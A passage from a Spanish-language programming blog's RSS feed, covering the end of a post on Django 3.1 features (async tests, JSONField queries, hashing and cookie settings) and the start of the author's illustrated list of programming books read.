style=&#34;color:#57c7ff&#34;&gt;test_my_thing&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;async_client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/some-url/&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code, &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;campos-compatibles-con-json&#34;&gt;Campos compatibles con JSON&lt;/h2&gt;&#xA;&lt;p&gt;¡Ya era tiempo de un campo JSON! Django ahora incluye un campo para sus modelos llamado &lt;em&gt;models.JSONField&lt;/em&gt; y un campo &lt;em&gt;forms.JSONfield&lt;/em&gt;, que puede ser usado en cualquier backend de base de datos compatible. Ambos campos soportan codificadores y decodificadores de JSON personalizados.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ContactInfo&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;JSONField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;John&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cities&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;London&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Cambridge&amp;#39;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pets&amp;#39;&lt;/span&gt;: {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dogs&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Rufus&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Meg&amp;#39;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;busqueda-en-campos-json&#34;&gt;Búsqueda en campos JSON&lt;/h3&gt;&#xA;&lt;p&gt;Podemos filtrar por este nuevo campo buscando el contenido de las propiedades del JSON usando notación de doble guión bajo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;John&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django nos otorga la capacidad buscar objetos por la presencia de llaves específicas en el nivel más alto del contenido de su campo JSON&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__pets__has_key&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dogs&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así mismo podemos buscar la presencia o ausencia de ciertos elementos en una propiedad que tenga como valor una lista&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContactInfo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data__cities__contains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;London&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;configuracion-default_hashing_algorithm&#34;&gt;Configuración DEFAULT_HASHING_ALGORITHM&lt;/h2&gt;&#xA;&lt;p&gt;Con esta nueva actualización podemos especificar el algoritmo por defecto de hashing en el archivo &lt;em&gt;settings.py&lt;/em&gt;. Este valor se usará para codificar las cookies, tokens de reseteo de contraseña en el panel de administraciones, sesiones de usuario y en las firmas creadas por django.core.signing.Signer y django.core.signing.dumps(). Además se agrega soporte para SHA-256.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otras-novedades-de-django-31&#34;&gt;Otras novedades de Django 3.1&lt;/h2&gt;&#xA;&lt;p&gt;PASSWORD_RESET_TIMEOUT_DAYS es obsoleta en favor de PASSWORD_RESET_TIMEOUT, esta nueva variable de configuración permite definir el número de segundos que será válido un enlace reinicio de contraseña.&lt;/p&gt;&#xA;&lt;p&gt;Ya se puede iterar a través del &lt;em&gt;Paginator&lt;/em&gt; para obtener las páginas.&lt;/p&gt;&#xA;&lt;p&gt;Se agrega un enlace para limpiar todos los filtros en el panel lateral derecho del admin.&lt;/p&gt;&#xA;&lt;p&gt;Ahora la variable de configuración CSRF_COOKIE_SAMESITE permite &amp;lsquo;None&amp;rsquo; como valor. Mientras que HttpResponse.set_cookie() y HttpResponse.set_signed_cookie() permiten usar samesite=&amp;lsquo;None&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que si quieres ver los cambios a la documentación completa puedes entrar en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/releases/3.1/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;este enlace&lt;/a&gt;&#xA; para ver los cambios completos que trae la versión de Django 3.1&lt;/p&gt;&#xA;&lt;p&gt;Si quieres mejorar tus habilidades en Django te dejo aquí recomendaciones de dos excelentes libros. Entra y checa mis reseñas de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; y de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;Two scoops of Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hace unas horas estaba navegando por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/hello_wired&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;mi twitter&lt;/a&gt;&#xA; y me enteré de que acaban de hacer públicas Django 3.1, cambios y novedades de ; mi framework para web favorito. Esta nueva versión tiene algunos cambios interesantes de los que hablaré a continuación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vistas-middleware-y-tests-asincronos&#34;&gt;Vistas, Middleware y tests asíncronos&lt;/h2&gt;&#xA;&lt;p&gt;Adivina quién más le está apostando a la asincronía. Con esta nueva actualización Django incorpora asincronismo en vistas, middleware y tests. Sin embargo el ORM de Django, la cache y otras piezas de código que se conectan con internet no tienen soporte asíncrono para esta actualización, aunque en la documentación se afirma que se añadirá soporte para versiones posteriores.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Libros que he leído y reseñas</title>
      <link>https://coffeebytes.dev/es/pages/libros-que-he-leido-y-resenas/</link>
      <pubDate>Sat, 18 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/pages/libros-que-he-leido-y-resenas/</guid>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta es la lista de libros que he leído para aprender sobre desarrollo web y programación. Tengo reseñas de algunos disponibles en este blog y estoy constantemente actualizando esta lista.&lt;/p&gt;&#xA;&lt;h2 id=&#34;actualmente-estoy-leyendo&#34;&gt;Actualmente estoy leyendo:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; aria-label=&#34;System design Interview Part II&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; alt=&#34;System design Interview Part II&#34;/&gt;&#xA;    &lt;figcaption&gt;System design Interview Part II&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-lista-de-libros&#34;&gt;Mi lista de libros&lt;/h2&gt;&#xA;&lt;p&gt;Los libros no están en ningún orden en particular:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The rust programming language book&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The rust programming language book&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/sicp-js.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/sicp-js.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Structure and interpretation of computer programs: Gerald Sussman, Hal Abelson, Julie Sussman&#34; width=&#34;350&#34; height=&#34;504&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Structure and interpretation of computer programs: Gerald Sussman, Hal Abelson, Julie Sussman&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Kubernetes: Up and Running: Dive Into the Future of Infrastructure de Brendan Burns, Joe Beda &amp;amp; Kelsey Hightower&#34; width=&#34;350&#34; height=&#34;459&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Kubernetes: Up and Running: Dive Into the Future of Infrastructure de Brendan Burns, Joe Beda &amp;amp; Kelsey Hightower&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/refactoring.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/refactoring.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Refactoring por Martin Fowler&#34; width=&#34;350&#34; height=&#34;433&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Refactoring por Martin Fowler&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/computer-science-distilled.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/computer-science-distilled.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Computer Science Distilled: Learn the Art of Solving Computational Problems de Wladston Ferreira Filho&#34; width=&#34;350&#34; height=&#34;541&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Computer Science Distilled: Learn the Art of Solving Computational Problems de Wladston Ferreira Filho&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;System design interview de Alex Xu&#34; width=&#34;350&#34; height=&#34;525&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;System design interview de Alex Xu&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/lets-go-further.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/lets-go-further.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Let&amp;#39;s Go Further de Alex Edwards&#34; width=&#34;350&#34; height=&#34;471&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Let&amp;rsquo;s Go Further de Alex Edwards&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/professor-frisby.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/professor-frisby.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Professor Frisby&amp;#39;s mostly adequate guide to functional programming de Brian Lonsdorf&#34; width=&#34;350&#34; height=&#34;357&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Professor Frisby&amp;rsquo;s mostly adequate guide to functional programming de Brian Lonsdorf&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/build-apis-you-wont-hate.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/build-apis-you-wont-hate.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Build APIs You Won&amp;#39;t Hate de Phil Sturgeon&#34; width=&#34;350&#34; height=&#34;453&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Build APIs You Won&amp;rsquo;t Hate de Phil Sturgeon&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/rest-api-design.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/rest-api-design.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;REST API Design Rulebook por Mark Masse&#34; width=&#34;350&#34; height=&#34;459&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;REST API Design Rulebook por Mark Masse&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;A Philosophy of Software Design de John Ousterhout&#34; width=&#34;350&#34; height=&#34;437&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;A Philosophy of Software Design de John Ousterhout&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/software-architecture-patterns.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/software-architecture-patterns.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Software Architecture Patterns de Mark Richards&#34; width=&#34;350&#34; height=&#34;525&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Software Architecture Patterns de Mark Richards&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;How Linux Works, 3rd Edition What Every Superuser Should Know por Brian Ward&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;How Linux Works, 3rd Edition What Every Superuser Should Know por Brian Ward&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/dive-into-python.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/dive-into-python.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Dive into Python de Mark Pilgrim (traducción de José Miguel González Aguilera)&#34; width=&#34;350&#34; height=&#34;432&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Dive into Python de Mark Pilgrim (traducción de José Miguel González Aguilera)&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/beginning-python.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/beginning-python.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Beginning Python: From Novice to Professional de Magnues Lie Hetland&#34; width=&#34;350&#34; height=&#34;503&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Beginning Python: From Novice to Professional de Magnues Lie Hetland&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cracking-codes-with-python.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cracking-codes-with-python.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cracking Codes with Python: An Introduction to Building and Breaking Ciphers de Al Sweigart&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Cracking Codes with Python: An Introduction to Building and Breaking Ciphers de Al Sweigart&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/practical-python-design-patterns.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/practical-python-design-patterns.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Practical Python Design Patterns de Wessel Badenhorst&#34; width=&#34;350&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Practical Python Design Patterns de Wessel Badenhorst&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python tricks the book de Dan Bader&#34; width=&#34;350&#34; height=&#34;526&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python tricks the book de Dan Bader&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/web-development-with-django-cookbook.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/web-development-with-django-cookbook.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web Development with Django Cookbook de Aidas Bendoraitis&#34; width=&#34;350&#34; height=&#34;432&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Web Development with Django Cookbook de Aidas Bendoraitis&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/two-scoops-of-django.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/two-scoops-of-django.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Two scoops of Django de Daniel Roy Greenfeld y Audrey Roy Greenfeld&#34; width=&#34;350&#34; height=&#34;431&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Two scoops of Django de Daniel Roy Greenfeld y Audrey Roy Greenfeld&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img 